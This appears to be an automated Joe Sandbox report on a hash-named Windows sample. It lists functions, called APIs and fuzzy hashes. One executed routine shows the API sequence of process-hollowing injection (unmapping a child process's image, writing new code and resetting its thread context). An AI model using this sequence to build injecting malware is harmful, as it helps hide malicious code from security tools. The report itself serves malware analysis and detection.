__invoke_watson.LIBCMT ref: 0226418A

Memory Dump Source

Source File: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2240000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 594e7c73a046189eaa91ee489c82fe704ed3097fb7014082a0e9dade572b2999
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: A571EB73A20717ABD724EEB9CC44B7AB3B9AF10724F144169E454E6284EB70DA84CB90

Function 0226650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 02266547
__calloc_crt.LIBCMT ref: 02266598
__lock.LIBCMT ref: 022665AE
__copytlocinfo_nolock.LIBCMT ref: 022665BF
_wcscmp.LIBCMT ref: 022665F9
__lock.LIBCMT ref: 02266610
__updatetlocinfoEx_nolock.LIBCMT ref: 02266622
___removelocaleref.LIBCMT ref: 02266628
__updatetlocinfoEx_nolock.LIBCMT ref: 02266647

Memory Dump Source

Source File: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2240000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 141f7e878b6b7cd058d92f7c036d1c6fbdcbe03877e43a2234dfdbfb7894e8c3
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 2F411333924309AFDB10AFE4E989BBE3BEAAF04314F10442DE91496198DF7996C4DF51

Function 022684AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 022684B1
_free.LIBCMT ref: 022684E2
_free.LIBCMT ref: 022684F5
_free.LIBCMT ref: 02268513
_free.LIBCMT ref: 02268525
_free.LIBCMT ref: 02268536
_free.LIBCMT ref: 02268541
_free.LIBCMT ref: 02268565
_free.LIBCMT ref: 02268581
_free.LIBCMT ref: 02268597
_free.LIBCMT ref: 022685BF

Memory Dump Source

Source File: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2240000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: f9a4c107cde73b0a39d7e78dfcfde15c10c9fbc3aed94f7d909d361063e4a530
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 9B31E833910361DFCB616F94FC8886977A6FB14324305852BE908573B4CBB069CC9F92

Function 0228FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0228FC1F

Part of subcall function 0227169C: std::exception::_Copy_str.LIBCMT ref: 022716B5

__CxxThrowException@8.LIBCMT ref: 0228FC34
std::exception::exception.LIBCMT ref: 0228FC4D
__CxxThrowException@8.LIBCMT ref: 0228FC62
std::regex_error::regex_error.LIBCPMT ref: 0228FC74

Part of subcall function 0228F914: std::exception::exception.LIBCMT ref: 0228F92E

__CxxThrowException@8.LIBCMT ref: 0228FC82
std::exception::exception.LIBCMT ref: 0228FC9B
__CxxThrowException@8.LIBCMT ref: 0228FCB0

Strings

leM, xrefs: 0228FCA8

Memory Dump Source

Source File: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2240000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: fd776ecf10a9442a1e44fe03d73dbfdf482c83cbdc2547a03baedef8474685d9
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: C8110479C1030DBBCB04FFE5D855CEEBBBDAE04740B808566A91897249EB74A3588F94

Function 0224F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0224F01F

Part of subcall function 02261602: __FF_MSGBANNER.LIBCMT ref: 02261619
Part of subcall function 02261602: __NMSG_WRITE.LIBCMT ref: 02261620

_malloc.LIBCMT ref: 0224F02B
_wprintf.LIBCMT ref: 0224F03E
_free.LIBCMT ref: 0224F044
_free.LIBCMT ref: 0224F065
_malloc.LIBCMT ref: 0224F06D
_sprintf.LIBCMT ref: 0224F0C0
_wprintf.LIBCMT ref: 0224F0D2
_wprintf.LIBCMT ref: 0224F0DC
_free.LIBCMT ref: 0224F0E5

Memory Dump Source

Source File: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2240000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 6ff5a105174fec012ddbf0d05f9ea2f5a90685a534fa081aee81f768a216f6b5
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: FE1127B75206606AC261A3F40C15EFF7BDD9F85302F04016AFE4CD1284DA186A5497B1

Function 02251960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 022519C6
__CxxThrowException@8.LIBCMT ref: 022519F1
__CxxThrowException@8.LIBCMT ref: 02251A1A
__CxxThrowException@8.LIBCMT ref: 02251A4B
_memset.LIBCMT ref: 02251A6A
__CxxThrowException@8.LIBCMT ref: 02251A90
_malloc.LIBCMT ref: 02251AA0
_memset.LIBCMT ref: 02251AAB
_sprintf.LIBCMT ref: 02251ACE

Memory Dump Source

Source File: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2240000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: d1c23f18bc8a105b572cbddac3bbad43cfc4d4d83ce1be91daa0d14446b36239
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 42516A71D40219ABEB11DBE1DC86FEFBBB9FF04B44F104025F909B6180E7746A118BA5

Function 0224F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0224F284
__CxxThrowException@8.LIBCMT ref: 0224F2AF
__CxxThrowException@8.LIBCMT ref: 0224F2DE
__CxxThrowException@8.LIBCMT ref: 0224F30F
_memset.LIBCMT ref: 0224F32E
__CxxThrowException@8.LIBCMT ref: 0224F354
_sprintf.LIBCMT ref: 0224F373

Memory Dump Source

Source File: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2240000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 309ec50cde9ad9454fc7e3aef0669530b9a6f0231cdcf0af27cd053d10572bb8
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: E551AFB1D50249EAEF11DFE1DD46FEEBB79EF04704F100025F905B6180DBB4AA058BA4

Function 0224F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0224F4B7
__CxxThrowException@8.LIBCMT ref: 0224F4E2
__CxxThrowException@8.LIBCMT ref: 0224F504
__CxxThrowException@8.LIBCMT ref: 0224F535
_memset.LIBCMT ref: 0224F554
__CxxThrowException@8.LIBCMT ref: 0224F57A
_sprintf.LIBCMT ref: 0224F594

Memory Dump Source

Source File: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2240000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 0f518cd2a72004b51047b77996787249ea09294a96da429a953a3d7725ebdcd4
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 53517F71D50209AADF21DFE1DD46FEEBBB9FF44704F100129F905B6184EB74AA058BA4

Function 0228208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 022820C6
__invoke_watson.LIBCMT ref: 02282120
_strlen.LIBCMT ref: 022820D4

Part of subcall function 02265BA8: __getptd_noexit.LIBCMT ref: 02265BA8

_strnlen.LIBCMT ref: 0228215F
__lock.LIBCMT ref: 02282170
__getenv_helper_nolock.LIBCMT ref: 0228217B

Memory Dump Source

Source File: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2240000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 348ba52e9e05d445cb50b34c23816bf19179ee61b421751db61bc340eed62ab3
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 6C31F6739323A2EADB217AE48C04B7E27569F15B24F204215ED04EB2DCDB74C480CAA1

Function 02252670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022526DB
_memset.LIBCMT ref: 02252A30
_memset.LIBCMT ref: 02252AC0

Strings

D, xrefs: 02252AC8

Memory Dump Source

Source File: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2240000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 434cc3b0444bf332adcb64193c41cdba0372e3d5b2534a2f4adf8782c962ec2f
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: D6E15E71D1022AEACF24DFE0CD89FEEB7B8BF04304F148169E909A6194EB746A45CF54

Function 0224D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0224D8EA

Strings

, xrefs: 0224DADB
$, xrefs: 0224DAE2
(, xrefs: 0224DAE9

Memory Dump Source

Source File: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2240000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 8938190dd7c098b0f639ae7fafbb441475d124bd3dedefb2927940f142346538
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: F891CD71D10219DAEF24CFE0CC59BEEBBB5AF05304F144169D405BB284DBB65A88CFA5

Function 0225A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0225A858
_memset.LIBCMT ref: 0225A869
_memset.LIBCMT ref: 0225A87A

Strings

p2Q, xrefs: 0225A882

Memory Dump Source

Source File: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2240000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 9a4605a14614e0014b12ccb8b9f8612b04bc190b677e3c6f2237ca8d91de7c09
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 89F0ED78698750A5F7217790BC2AB957E917B31B49F104088E1182E2E5D3FD238CA79A

Function 0228FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0228FBF1

Part of subcall function 0227169C: std::exception::_Copy_str.LIBCMT ref: 022716B5

__CxxThrowException@8.LIBCMT ref: 0228FC06

Strings

TeM, xrefs: 0228FBFE
TeM, xrefs: 0228FBE7, 0228FBFB

Memory Dump Source

Source File: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2240000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 661a466aa93b142b39b447f9995894df1b64c90e6e0292a1b46729eedc1b1848
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: C5D01774C0030CBBCB00EFA4D449CCDBBB8AE00304B008066A91897245EA74A3498F84

Function 0224D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 0226197D: __wfsopen.LIBCMT ref: 02261988

_fgetws.LIBCMT ref: 0224D15C

Memory Dump Source

Source File: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2240000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: d16b268335344195e49a24b00c1480413af824aa99730c72e8e16fbc941357e1
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: FB91B472D2031A9BCF25DFE4CC847AEB7B5BF04308F140529E819A7245EBB5AA54CF91

Function 0224D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0224D77E
_malloc.LIBCMT ref: 0224D7B2
_malloc.LIBCMT ref: 0224D7C1
_fprintf.LIBCMT ref: 0224D815

Memory Dump Source

Source File: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2240000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 1e49aef972b1857895ff2aaef1f844bf77a3644678ad792ccc1343517e9bede1
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 76A171B1C10349EBEF11EFD4C849BEEBB76AF15304F140128D4057A295D7B65A88CBA6

Function 02262AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 02262B2E
__read_nolock.LIBCMT ref: 02262BFE
__filbuf.LIBCMT ref: 02262C21
_memset.LIBCMT ref: 02262C65

Part of subcall function 02265BA8: __getptd_noexit.LIBCMT ref: 02265BA8

Memory Dump Source

Source File: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2240000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: c617120d3c63702082694d60479192f3135d1db68c4261ab468c9f0a042553c4
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 2F518272A20307DBDB248FF9888867E77A6EF40324F148729EC75962D8D77599D0CB40

Function 02281359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0228137D

Part of subcall function 02281A9D: __fltout2.LIBCMT ref: 02281AC6

__cftog_l.LIBCMT ref: 022813A3
__cftoe_l.LIBCMT ref: 022813D5

Memory Dump Source

Source File: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2240000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: cd992f0c6350aed9fc79e5cfa99c6c9337b0f9d1cadebd1f36fab67b76f84093
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: E4014B3242114ABBCF126EC4DC01CEE3F63BB19355B488415FA5D588B8D376C5B2AB81

Function 02307A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 02307A4B

Part of subcall function 02308140: ___BuildCatchObjectHelper.LIBCMT ref: 02308172
Part of subcall function 02308140: ___AdjustPointer.LIBCMT ref: 02308189

_UnwindNestedFrames.LIBCMT ref: 02307A62
___FrameUnwindToState.LIBCMT ref: 02307A74
CallCatchBlock.LIBCMT ref: 02307A98

Memory Dump Source

Source File: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2240000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: d3ffb1558945d6c7543a2d45b6ae4aae1988a8ba4f6be8c23be1c4b266a56caa
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 7001E932100109BBCF22AF55CC91EEA7BBAFF48754F158014FE1865261D732E961DFA0

Analysis Process: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exePID: 7272, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	39
Total number of Limit Nodes:	8

Executed Functions

Function 02280110 Relevance: 21.2, APIs: 14, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02280156
CreateProcessA.KERNELBASE(?,00000000), ref: 02280255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02280270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02280283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 0228029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022802C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 022802E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02280304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0228032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02280399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022803BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 022803E1
ResumeThread.KERNELBASE(00000000), ref: 022803ED
ExitProcess.KERNEL32(00000000), ref: 02280412

Memory Dump Source

Source File: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2280000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFreeReadResumeSectionUnmapView
String ID:
API String ID: 3993611425-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: eceb0348b9e7ae7bb459848f0410b119c72afaf59d3777ec3700d94d48aaa31e
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 10B1C574A00209AFDB44CF98C895F9EBBB5BF88314F248158E908AB395D771AE45CF94

Function 02280420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02280533

Strings

d, xrefs: 02280584
0, xrefs: 02280492
saodkfnosa9uin, xrefs: 022804DA
mfoaskdfnoa, xrefs: 02280520, 02280523

Memory Dump Source

Source File: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2280000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: f805dc5cd9b8c8de52416976089daf9c5ad571ce53583596c8908c015fb4bf89
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: D2511870D08388DAEB11DBE8C849BDDBFB2AF11708F144058D5447F2CAC3BA9658CB66

Function 022805B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 022805EC

Strings

o, xrefs: 02280600
apfHQ, xrefs: 022805E2, 022805E5

Memory Dump Source

Source File: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2280000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 2025f1f08d3e70fbe3c8a1ce789f1f176e1347855f09d90703f9378db9f42b81
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: AF011E70C0525DEADB10EBD8C5183AEBFB5AF41308F148099C4092B282D7B69B58CBA1

Function 008F37C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 008F37EE
Module32First.KERNEL32(00000000,00000224), ref: 008F380E

Memory Dump Source

Source File: 00000008.00000002.1800497769.00000000008F3000.00000040.00000020.00020000.00000000.sdmp, Offset: 008F3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8f3000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 1548d015b9960828b6ae7a8070dc94e7df20c22228c56b150f91544a5e6ab927
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 30F06D722007186BD7203BB9A88DA7A76E8FF99765F200638F742D10C0DA74EA458A61

Function 008F3485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 008F34D6

Memory Dump Source

Source File: 00000008.00000002.1800497769.00000000008F3000.00000040.00000020.00020000.00000000.sdmp, Offset: 008F3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8f3000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 454702762d146b05861acba2baec0d00cb30deb1ae4bcb3a8750aa2b8a5a6cae
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 69112D79A00208EFDB01DF98C985E99BBF5EF08350F058094FA489B361D371EA50DB90

